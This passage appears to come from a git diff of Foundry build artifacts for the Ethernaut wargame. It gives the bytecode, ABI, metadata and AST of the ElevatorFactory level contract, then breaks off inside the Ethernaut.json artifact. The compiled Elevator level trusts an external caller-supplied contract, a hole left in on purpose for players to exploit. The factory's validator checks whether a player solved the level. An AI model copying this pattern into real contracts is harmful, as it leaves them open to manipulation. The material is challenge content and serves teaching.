4610331565b6101bb565b610114610250565b61011d5f6102a9565b565b5f8060405161012d90610310565b604051809103905ff080158015610146573d5f803e3d5ffd5b509392505050565b5f80839050806001600160a01b031663fe6dcdba6040518163ffffffff1660e01b8152600401602060405180830381865afa15801561018f573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906101b3919061038a565b949350505050565b6101c3610250565b6001600160a01b0381166102445760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201527f646472657373000000000000000000000000000000000000000000000000000060648201526084015b60405180910390fd5b61024d816102a9565b50565b5f546001600160a01b0316331461011d5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161023b565b5f80546001600160a01b038381167fffffffffffffffffffffffff0000000000000000000000000000000000000000831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b610214806103aa83390190565b6001600160a01b038116811461024d575f80fd5b5f60208284031215610341575f80fd5b813561034c8161031d565b9392505050565b5f8060408385031215610364575f80fd5b823561036f8161031d565b9150602083013561037f8161031d565b809150509250929050565b5f6020828403121561039a575f80fd5b8151801515811461034c575f80fdfe608060405234801561000f575f80fd5b506101f78061001d5f395ff3fe608060405234801561000f575f80fd5b506004361061003f575f3560e01c80634069536314610043578063ed9a71341461005f578063fe6dcdba14610074575b5f80fd5b61004c60015481565b6040519081526020015b60405180910390f35b61007261006d366004610184565b610090565b005b5f546100809060ff1681565b6040519015158152602001610056565b604051632fcd25e560e11b81526004810182905233908190635f9a4bca906024016020604051808303815f875af11580156100cd573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906100f1919061019b565b610180576001829055604051632fcd25e560e11b81526004810183905273ffffffffffffffffffffffffffffffffffffffff821690635f9a4bca906024016020604051808303815f875af115801561014b573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061016f919061019b565b5f805460ff19169115159190911790555b5050565b5f60208284031215610194575f80fd5b5035919050565b5f602082840312156101ab575f80fd5b815180151581146101ba575f80fd5b939250505056fea2646970667358221220ecb8fe45bca969d79077e5b7f0d22bb397e660f136524e2d4955dbac43818fae64736f6c63430008180033a2646970667358221220d2757874285fee59d6513c5923b9aa2cd3357051380b2235ff3bb580d92112e964736f6c63430008180033","sourceMap":"111:418:76:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;1831:101:23;;;;;;;;;;;;;:::i;:::-;;151:185:76;;;;;;:::i;:::-;;:::i;:::-;;;-1:-1:-1;;;;;589:55:155;;;571:74;;559:2;544:18;151:185:76;;;;;;;;1201:85:23;;;;;;;;;;-1:-1:-1;1247:7:23;1273:6;-1:-1:-1;;;;;1273:6:23;1201:85;;342:185:76;;;;;;;;;;-1:-1:-1;342:185:76;;;;;:::i;:::-;;:::i;:::-;;;1222:14:155;;1215:22;1197:41;;1185:2;1170:18;342:185:76;1057:187:155;2081:198:23;;;;;;;;;;-1:-1:-1;2081:198:23;;;;;:::i;:::-;;:::i;1831:101::-;1094:13;:11;:13::i;:::-;1895:30:::1;1922:1;1895:18;:30::i;:::-;1831:101::o:0;151:185:76:-;225:7;261:17;281:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;261:34:76;151:185;-1:-1:-1;;;151:185:76:o;342:::-;434:4;450:17;479:9;450:39;;506:8;-1:-1:-1;;;;;506:12:76;;:14;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;499:21;342:185;-1:-1:-1;;;;342:185:76:o;2081:198:23:-;1094:13;:11;:13::i;:::-;-1:-1:-1;;;;;2169:22:23;::::1;2161:73;;;::::0;-1:-1:-1;;;2161:73:23;;1733:2:155;2161:73:23::1;::::0;::::1;1715:21:155::0;1772:2;1752:18;;;1745:30;1811:34;1791:18;;;1784:62;1882:8;1862:18;;;1855:36;1908:19;;2161:73:23::1;;;;;;;;;2244:28;2263:8;2244:18;:28::i;:::-;2081:198:::0;:::o;1359:130::-;1247:7;1273:6;-1:-1:-1;;;;;1273:6:23;719:10:34;1422:23:23;1414:68;;;;-1:-1:-1;;;1414:68:23;;2140:2:155;1414:68:23;;;2122:21:155;;;2159:18;;;2152:30;2218:34;2198:18;;;2191:62;2270:18;;1414:68:23;1938:356:155;2433:187:23;2506:16;2525:6;;-1:-1:-1;;;;;2541:17:23;;;;;;;;;;2573:40;;2525:6;;;;;;;2573:40;;2506:16;2573:40;2496:124;2433:187;:::o;-1:-1:-1:-;;;;;;;;:::o;14:154:155:-;-1:-1:-1;;;;;93:5:155;89:54;82:5;79:65;69:93;;158:1;155;148:12;173:247;232:6;285:2;273:9;264:7;260:23;256:32;253:52;;;301:1;298;291:12;253:52;340:9;327:23;359:31;384:5;359:31;:::i;:::-;409:5;173:247;-1:-1:-1;;;173:247:155:o;656:396::-;732:6;740;793:2;781:9;772:7;768:23;764:32;761:52;;;809:1;806;799:12;761:52;848:9;835:23;867:31;892:5;867:31;:::i;:::-;917:5;-1:-1:-1;974:2:155;959:18;;946:32;987:33;946:32;987:33;:::i;:::-;1039:7;1029:17;;;656:396;;;;;:::o;1249:277::-;1316:6;1369:2;1357:9;1348:7;1344:23;1340:32;1337:52;;;1385:1;1382;1375:12;1337:52;1417:9;1411:16;1470:5;1463:13;1456:21;1449:5;1446:32;1436:60;;1492:1;1489;1482:12","linkReferences":{}},"methodIdentifiers":{"createInstance(address)":"7726f776","owner()":"8da5cb5b","renounceOwnership()":"715018a6","transferOwnership(address)":"f2fde38b","validateInstance(address,address)":"d38def5b"},"rawMetadata":"{\"compiler\":{\"version\":\"0.8.24+commit.e11b9ed9\"},\"language\":\"Solidity\",\"output\":{\"abi\":[{\"anonymous\":false,\"inputs\":[{\"indexed\":true,\"internalType\":\"address\",\"name\":\"previousOwner\",\"type\":\"address\"},{\"indexed\":true,\"internalType\":\"address\",\"name\":\"newOwner\",\"type\":\"address\"}],\"name\":\"OwnershipTransferred\",\"type\":\"event\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"_player\",\"type\":\"address\"}],\"name\":\"createInstance\",\"outputs\":[{\"internalType\":\"address\",\"name\":\"\",\"type\":\"address\"}],\"stateMutability\":\"payable\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"owner\",\"outputs\":[{\"internalType\":\"address\",\"name\":\"\",\"type\":\"address\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"renounceOwnership\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"newOwner\",\"type\":\"address\"}],\"name\":\"transferOwnership\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address payable\",\"name\":\"_instance\",\"type\":\"address\"},{\"internalType\":\"address\",\"name\":\"\",\"type\":\"address\"}],\"name\":\"validateInstance\",\"outputs\":[{\"internalType\":\"bool\",\"name\":\"\",\"type\":\"bool\"}],\"stateMutability\":\"view\",\"type\":\"function\"}],\"devdoc\":{\"kind\":\"dev\",\"methods\":{\"owner()\":{\"details\":\"Returns the address of the current owner.\"},\"renounceOwnership()\":{\"details\":\"Leaves the contract without owner. It will not be possible to call `onlyOwner` functions anymore. Can only be called by the current owner. NOTE: Renouncing ownership will leave the contract without an owner, thereby removing any functionality that is only available to the owner.\"},\"transferOwnership(address)\":{\"details\":\"Transfers ownership of the contract to a new account (`newOwner`). Can only be called by the current owner.\"}},\"version\":1},\"userdoc\":{\"kind\":\"user\",\"methods\":{},\"version\":1}},\"settings\":{\"compilationTarget\":{\"src/levels/ElevatorFactory.sol\":\"ElevatorFactory\"},\"evmVersion\":\"shanghai\",\"libraries\":{},\"metadata\":{\"bytecodeHash\":\"ipfs\"},\"optimizer\":{\"enabled\":true,\"runs\":1000},\"remappings\":[\":ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/\",\":erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/\",\":forge-std/=lib/forge-std/src/\",\":openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/\",\":openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/\",\":openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/\",\":openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/\",\":openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/\"]},\"sources\":{\"lib/openzeppelin-contracts-08/contracts/access/Ownable.sol\":{\"keccak256\":\"0xa94b34880e3c1b0b931662cb1c09e5dfa6662f31cba80e07c5ee71cd135c9673\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://40fb1b5102468f783961d0af743f91b9980cf66b50d1d12009f6bb1869cea4d2\",\"dweb:/ipfs/QmYqEbJML4jB1GHbzD4cUZDtJg5wVwNm3vDJq1GbyDus8y\"]},\"lib/openzeppelin-contracts-08/contracts/utils/Context.sol\":{\"keccak256\":\"0xe2e337e6dde9ef6b680e07338c493ebea1b5fd09b43424112868e9cc1706bca7\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://6df0ddf21ce9f58271bdfaa85cde98b200ef242a05a3f85c2bc10a8294800a92\",\"dweb:/ipfs/QmRK2Y5Yc6BK7tGKkgsgn3aJEQGi5aakeSPZvS65PV8Xp3\"]},\"src/levels/Elevator.sol\":{\"keccak256\":\"0xbe3cca4d8c9c1dee2b498b1be0163e9be7441cf30c8c5d88a3a4131721530fea\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://67d920e433cb5d01a4ae2a4d278ccbbe8ba9a714480b3efaf0596787c45bcb93\",\"dweb:/ipfs/QmQ6pBsH8VxVNTKUpE3sFv832DNM6D5jK9ymuiqH7woHsH\"]},\"src/levels/ElevatorFactory.sol\":{\"keccak256\":\"0x9c936a53095289c2606f0c66ad9769d005fc68fcbaa9115690433a667c8d0b98\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://9b301f044f6ff7dcd3eaa5ccefa33237567c10ced4dd8390dcf3991ba4193873\",\"dweb:/ipfs/QmUeonQiRzzcT1F43bAvJb4TaEs5mL36EDzxR2ifc2JXeo\"]},\"src/levels/base/Level.sol\":{\"keccak256\":\"0x23e8a2c9454707c888fc4dc4cc44d89e5928e8d58a1f9c8f5c16c36697aadfdf\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://693402ec163e362b086874db09be2d1d11111276f70100bf9192a0fb3f5d9ccd\",\"dweb:/ipfs/QmSsygUUkJHRh13rGUQ4BrMTnzmPQKrRsBABS4Yk11kfAA\"]}},\"version\":1}","metadata":{"compiler":{"version":"0.8.24+commit.e11b9ed9"},"language":"Solidity","output":{"abi":[{"inputs":[{"internalType":"address","name":"previousOwner","type":"address","indexed":true},{"internalType":"address","name":"newOwner","type":"address","indexed":true}],"type":"event","name":"OwnershipTransferred","anonymous":false},{"inputs":[{"internalType":"address","name":"_player","type":"address"}],"stateMutability":"payable","type":"function","name":"createInstance","outputs":[{"internalType":"address","name":"","type":"address"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}]},{"inputs":[],"stateMutability":"nonpayable","type":"function","name":"renounceOwnership"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"stateMutability":"nonpayable","type":"function","name":"transferOwnership"},{"inputs":[{"internalType":"address payable","name":"_instance","type":"address"},{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function","name":"validateInstance","outputs":[{"internalType":"bool","name":"","type":"bool"}]}],"devdoc":{"kind":"dev","methods":{"owner()":{"details":"Returns the address of the current owner."},"renounceOwnership()":{"details":"Leaves the contract without owner. It will not be possible to call `onlyOwner` functions anymore. Can only be called by the current owner. NOTE: Renouncing ownership will leave the contract without an owner, thereby removing any functionality that is only available to the owner."},"transferOwnership(address)":{"details":"Transfers ownership of the contract to a new account (`newOwner`). Can only be called by the current owner."}},"version":1},"userdoc":{"kind":"user","methods":{},"version":1}},"settings":{"remappings":["ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/","erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/","forge-std/=lib/forge-std/src/","openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/","openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/","openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/","openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/","openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/"],"optimizer":{"enabled":true,"runs":1000},"metadata":{"bytecodeHash":"ipfs"},"compilationTarget":{"src/levels/ElevatorFactory.sol":"ElevatorFactory"},"evmVersion":"shanghai","libraries":{}},"sources":{"lib/openzeppelin-contracts-08/contracts/access/Ownable.sol":{"keccak256":"0xa94b34880e3c1b0b931662cb1c09e5dfa6662f31cba80e07c5ee71cd135c9673","urls":["bzz-raw://40fb1b5102468f783961d0af743f91b9980cf66b50d1d12009f6bb1869cea4d2","dweb:/ipfs/QmYqEbJML4jB1GHbzD4cUZDtJg5wVwNm3vDJq1GbyDus8y"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/utils/Context.sol":{"keccak256":"0xe2e337e6dde9ef6b680e07338c493ebea1b5fd09b43424112868e9cc1706bca7","urls":["bzz-raw://6df0ddf21ce9f58271bdfaa85cde98b200ef242a05a3f85c2bc10a8294800a92","dweb:/ipfs/QmRK2Y5Yc6BK7tGKkgsgn3aJEQGi5aakeSPZvS65PV8Xp3"],"license":"MIT"},"src/levels/Elevator.sol":{"keccak256":"0xbe3cca4d8c9c1dee2b498b1be0163e9be7441cf30c8c5d88a3a4131721530fea","urls":["bzz-raw://67d920e433cb5d01a4ae2a4d278ccbbe8ba9a714480b3efaf0596787c45bcb93","dweb:/ipfs/QmQ6pBsH8VxVNTKUpE3sFv832DNM6D5jK9ymuiqH7woHsH"],"license":"MIT"},"src/levels/ElevatorFactory.sol":{"keccak256":"0x9c936a53095289c2606f0c66ad9769d005fc68fcbaa9115690433a667c8d0b98","urls":["bzz-raw://9b301f044f6ff7dcd3eaa5ccefa33237567c10ced4dd8390dcf3991ba4193873","dweb:/ipfs/QmUeonQiRzzcT1F43bAvJb4TaEs5mL36EDzxR2ifc2JXeo"],"license":"MIT"},"src/levels/base/Level.sol":{"keccak256":"0x23e8a2c9454707c888fc4dc4cc44d89e5928e8d58a1f9c8f5c16c36697aadfdf","urls":["bzz-raw://693402ec163e362b086874db09be2d1d11111276f70100bf9192a0fb3f5d9ccd","dweb:/ipfs/QmSsygUUkJHRh13rGUQ4BrMTnzmPQKrRsBABS4Yk11kfAA"],"license":"MIT"}},"version":1},"ast":{"absolutePath":"src/levels/ElevatorFactory.sol","id":52246,"exportedSymbols":{"Building":[52155],"Context":[48281],"Elevator":[52192],"ElevatorFactory":[52245],"Level":[55508],"Ownable":[46700]},"nodeType":"SourceUnit","src":"33:497:76","nodes":[{"id":52194,"nodeType":"PragmaDirective","src":"33:23:76","nodes":[],"literals":["solidity","^","0.8",".0"]},{"id":52195,"nodeType":"ImportDirective","src":"58:26:76","nodes":[],"absolutePath":"src/levels/base/Level.sol","file":"./base/Level.sol","nameLocation":"-1:-1:-1","scope":52246,"sourceUnit":55509,"symbolAliases":[],"unitAlias":""},{"id":52196,"nodeType":"ImportDirective","src":"85:24:76","nodes":[],"absolutePath":"src/levels/Elevator.sol","file":"./Elevator.sol","nameLocation":"-1:-1:-1","scope":52246,"sourceUnit":52193,"symbolAliases":[],"unitAlias":""},{"id":52245,"nodeType":"ContractDefinition","src":"111:418:76","nodes":[{"id":52222,"nodeType":"FunctionDefinition","src":"151:185:76","nodes":[],"body":{"id":52221,"nodeType":"Block","src":"234:102:76","nodes":[],"statements":[{"expression":{"id":52206,"name":"_player","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":52200,"src":"244:7:76","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"id":52207,"nodeType":"ExpressionStatement","src":"244:7:76"},{"assignments":[52210],"declarations":[{"constant":false,"id":52210,"mutability":"mutable","name":"instance","nameLocation":"270:8:76","nodeType":"VariableDeclaration","scope":52221,"src":"261:17:76","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_contract$_Elevator_$52192","typeString":"contract Elevator"},"typeName":{"id":52209,"nodeType":"UserDefinedTypeName","pathNode":{"id":52208,"name":"Elevator","nameLocations":["261:8:76"],"nodeType":"IdentifierPath","referencedDeclaration":52192,"src":"261:8:76"},"referencedDeclaration":52192,"src":"261:8:76","typeDescriptions":{"typeIdentifier":"t_contract$_Elevator_$52192","typeString":"contract Elevator"}},"visibility":"internal"}],"id":52215,"initialValue":{"arguments":[],"expression":{"argumentTypes":[],"id":52213,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"nodeType":"NewExpression","src":"281:12:76","typeDescriptions":{"typeIdentifier":"t_function_creation_nonpayable$__$returns$_t_contract$_Elevator_$52192_$","typeString":"function () returns (contract Elevator)"},"typeName":{"id":52212,"nodeType":"UserDefinedTypeName","pathNode":{"id":52211,"name":"Elevator","nameLocations":["285:8:76"],"nodeType":"IdentifierPath","referencedDeclaration":52192,"src":"285:8:76"},"referencedDeclaration":52192,"src":"285:8:76","typeDescriptions":{"typeIdentifier":"t_contract$_Elevator_$52192","typeString":"contract Elevator"}}},"id":52214,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"281:14:76","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_Elevator_$52192","typeString":"contract Elevator"}},"nodeType":"VariableDeclarationStatement","src":"261:34:76"},{"expression":{"arguments":[{"id":52218,"name":"instance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":52210,"src":"320:8:76","typeDescriptions":{"typeIdentifier":"t_contract$_Elevator_$52192","typeString":"contract Elevator"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_Elevator_$52192","typeString":"contract Elevator"}],"id":52217,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"312:7:76","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":52216,"name":"address","nodeType":"ElementaryTypeName","src":"312:7:76","typeDescriptions":{}}},"id":52219,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"312:17:76","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"functionReturnParameters":52205,"id":52220,"nodeType":"Return","src":"305:24:76"}]},"baseFunctions":[55498],"functionSelector":"7726f776","implemented":true,"kind":"function","modifiers":[],"name":"createInstance","nameLocation":"160:14:76","overrides":{"id":52202,"nodeType":"OverrideSpecifier","overrides":[],"src":"207:8:76"},"parameters":{"id":52201,"nodeType":"ParameterList","parameters":[{"constant":false,"id":52200,"mutability":"mutable","name":"_player","nameLocation":"183:7:76","nodeType":"VariableDeclaration","scope":52222,"src":"175:15:76","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":52199,"name":"address","nodeType":"ElementaryTypeName","src":"175:7:76","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"174:17:76"},"returnParameters":{"id":52205,"nodeType":"ParameterList","parameters":[{"constant":false,"id":52204,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":52222,"src":"225:7:76","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":52203,"name":"address","nodeType":"ElementaryTypeName","src":"225:7:76","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"224:9:76"},"scope":52245,"stateMutability":"payable","virtual":false,"visibility":"public"},{"id":52244,"nodeType":"FunctionDefinition","src":"342:185:76","nodes":[],"body":{"id":52243,"nodeType":"Block","src":"440:87:76","nodes":[],"statements":[{"assignments":[52234],"declarations":[{"constant":false,"id":52234,"mutability":"mutable","name":"elevator","nameLocation":"459:8:76","nodeType":"VariableDeclaration","scope":52243,"src":"450:17:76","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_contract$_Elevator_$52192","typeString":"contract Elevator"},"typeName":{"id":52233,"nodeType":"UserDefinedTypeName","pathNode":{"id":52232,"name":"Elevator","nameLocations":["450:8:76"],"nodeType":"IdentifierPath","referencedDeclaration":52192,"src":"450:8:76"},"referencedDeclaration":52192,"src":"450:8:76","typeDescriptions":{"typeIdentifier":"t_contract$_Elevator_$52192","typeString":"contract Elevator"}},"visibility":"internal"}],"id":52238,"initialValue":{"arguments":[{"id":52236,"name":"_instance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":52224,"src":"479:9:76","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"}],"id":52235,"name":"Elevator","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":52192,"src":"470:8:76","typeDescriptions":{"typeIdentifier":"t_type$_t_contract$_Elevator_$52192_$","typeString":"type(contract Elevator)"}},"id":52237,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"470:19:76","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_Elevator_$52192","typeString":"contract Elevator"}},"nodeType":"VariableDeclarationStatement","src":"450:39:76"},{"expression":{"arguments":[],"expression":{"argumentTypes":[],"expression":{"id":52239,"name":"elevator","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":52234,"src":"506:8:76","typeDescriptions":{"typeIdentifier":"t_contract$_Elevator_$52192","typeString":"contract Elevator"}},"id":52240,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"515:3:76","memberName":"top","nodeType":"MemberAccess","referencedDeclaration":52157,"src":"506:12:76","typeDescriptions":{"typeIdentifier":"t_function_external_view$__$returns$_t_bool_$","typeString":"function () view external returns (bool)"}},"id":52241,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"506:14:76","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"functionReturnParameters":52231,"id":52242,"nodeType":"Return","src":"499:21:76"}]},"baseFunctions":[55507],"functionSelector":"d38def5b","implemented":true,"kind":"function","modifiers":[],"name":"validateInstance","nameLocation":"351:16:76","overrides":{"id":52228,"nodeType":"OverrideSpecifier","overrides":[],"src":"416:8:76"},"parameters":{"id":52227,"nodeType":"ParameterList","parameters":[{"constant":false,"id":52224,"mutability":"mutable","name":"_instance","nameLocation":"384:9:76","nodeType":"VariableDeclaration","scope":52244,"src":"368:25:76","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"},"typeName":{"id":52223,"name":"address","nodeType":"ElementaryTypeName","src":"368:15:76","stateMutability":"payable","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"visibility":"internal"},{"constant":false,"id":52226,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":52244,"src":"395:7:76","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":52225,"name":"address","nodeType":"ElementaryTypeName","src":"395:7:76","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"367:36:76"},"returnParameters":{"id":52231,"nodeType":"ParameterList","parameters":[{"constant":false,"id":52230,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":52244,"src":"434:4:76","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":52229,"name":"bool","nodeType":"ElementaryTypeName","src":"434:4:76","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"433:6:76"},"scope":52245,"stateMutability":"view","virtual":false,"visibility":"public"}],"abstract":false,"baseContracts":[{"baseName":{"id":52197,"name":"Level","nameLocations":["139:5:76"],"nodeType":"IdentifierPath","referencedDeclaration":55508,"src":"139:5:76"},"id":52198,"nodeType":"InheritanceSpecifier","src":"139:5:76"}],"canonicalName":"ElevatorFactory","contractDependencies":[52192],"contractKind":"contract","fullyImplemented":true,"linearizedBaseContracts":[52245,55508,46700,48281],"name":"ElevatorFactory","nameLocation":"120:15:76","scope":52246,"usedErrors":[],"usedEvents":[46601]}],"license":"MIT"},"id":76} \ No newline at end of file diff --git a/contracts/out/Ethernaut.sol/Ethernaut.json b/contracts/out/Ethernaut.sol/Ethernaut.json new file mode 100644 index 000000000..169faecc6 --- /dev/null +++ b/contracts/out/Ethernaut.sol/Ethernaut.json @@ -0,0 +1 @@ +{"abi":[{"type":"function","name":"createLevelInstance","inputs":[{"name":"_level","type":"address","internalType":"contract Level"}],"outputs":[],"stateMutability":"payable"},{"type":"function","name":"emittedInstances","inputs":[{"name":"","type":"address","internalType":"address"}],"outputs":[{"name":"player","type":"address","internalType":"address"},{"name":"level","type":"address","internalType":"contract Level"},{"name":"completed","type":"bool","internalType":"bool"}],"stateMutability":"view"},{"type":"function","name":"owner","inputs":[],"outputs":[{"name":"","type":"address","internalType":"address"}],"stateMutability":"view"},{"type":"function","name":"registerLevel","inputs":[{"name":"_level","type":"address","internalType":"contract Level"}],"outputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"registeredLevels","inputs":[{"name":"","type":"address","internalType":"address"}],"outputs":[{"name":"","type":"bool","internalType":"bool"}],"stateMutability":"view"},{"type":"function","name":"renounceOwnership","inputs":[],"outputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"setStatistics","inputs":[{"name":"_statProxy","type":"address","internalType":"address"}],"outputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"statistics","inputs":[],"outputs":[{"name":"","type":"address","internalType":"contract IStatistics"}],"stateMutability":"view"},{"type":"function","name":"submitLevelInstance","inputs":[{"name":"_instance","type":"address","internalType":"address payable"}],"outputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"transferOwnership","inputs":[{"name":"newOwner","type":"address","internalType":"address"}],"outputs":[],"stateMutability":"nonpayable"},{"type":"event","name":"LevelCompletedLog","inputs":[{"name":"player","type":"address","indexed":true,"internalType":"address"},{"name":"instance","type":"address","indexed":true,"internalType":"address"},{"name":"level","type":"address","indexed":true,"internalType":"address"}],"anonymous":false},{"type":"event","name":"LevelInstanceCreatedLog","inputs":[{"name":"player","type":"address","indexed":true,"internalType":"address"},{"name":"instance","type":"address","indexed":true,"internalType":"address"},{"name":"level","type":"address","indexed":true,"internalType":"address"}],"anonymous":false},{"type":"event","name":"OwnershipTransferred","inputs":[{"name":"previousOwner","type":"address","indexed":true,"internalType":"address"},{"name":"newOwner","type":"address","indexed":true,"internalType":"address"}],"anonymous":false}],"bytecode":{"object":"0x608060405234801561000f575f80fd5b506100193361001e565b61006d565b5f80546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b610a6b8061007a5f395ff3fe6080604052600436106100ad575f3560e01c8063be117dfd11610066578063cf0046951161004c578063cf004695146101eb578063dfc86b1714610229578063f2fde38b1461023c575f80fd5b8063be117dfd146101ad578063c882d7c2146101cc575f80fd5b8063715018a611610096578063715018a61461014a5780638da5cb5b1461015e57806395e272bd1461018e575f80fd5b8063202023d4146100b15780634f17afd8146100d2575b5f80fd5b3480156100bc575f80fd5b506100d06100cb3660046109d9565b61025b565b005b3480156100dd575f80fd5b5061011d6100ec3660046109d9565b60036020525f9081526040902080546001909101546001600160a01b0391821691811690600160a01b900460ff1683565b604080516001600160a01b0394851681529390921660208401521515908201526060015b60405180910390f35b348015610155575f80fd5b506100d06102f6565b348015610169575f80fd5b505f546001600160a01b03165b6040516001600160a01b039091168152602001610141565b348015610199575f80fd5b50600154610176906001600160a01b031681565b3480156101b8575f80fd5b506100d06101c73660046109d9565b610309565b3480156101d7575f80fd5b506100d06101e63660046109d9565b610340565b3480156101f6575f80fd5b506102196102053660046109d9565b60026020525f908152604090205460ff1681565b6040519015158152602001610141565b6100d06102373660046109d9565b610642565b348015610247575f80fd5b506100d06102563660046109d9565b610880565b610263610910565b6001600160a01b038181165f8181526002602052604090819020805460ff191660019081179091555490517fcd819a6f00000000000000000000000000000000000000000000000000000000815260048101929092529091169063cd819a6f906024015f604051808303815f87803b1580156102dd575f80fd5b505af11580156102ef573d5f803e3d5ffd5b5050505050565b6102fe610910565b6103075f610969565b565b610311610910565b6001805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b0392909216919091179055565b6001600160a01b038082165f908152600360205260409020805490911633146103d65760405162461bcd60e51b815260206004820152603060248201527f5468697320696e7374616e636520646f65736e27742062656c6f6e6720746f2060448201527f7468652063757272656e7420757365720000000000000000000000000000000060648201526084015b60405180910390fd5b6001810154600160a01b900460ff16156104325760405162461bcd60e51b815260206004820181905260248201527f4c6576656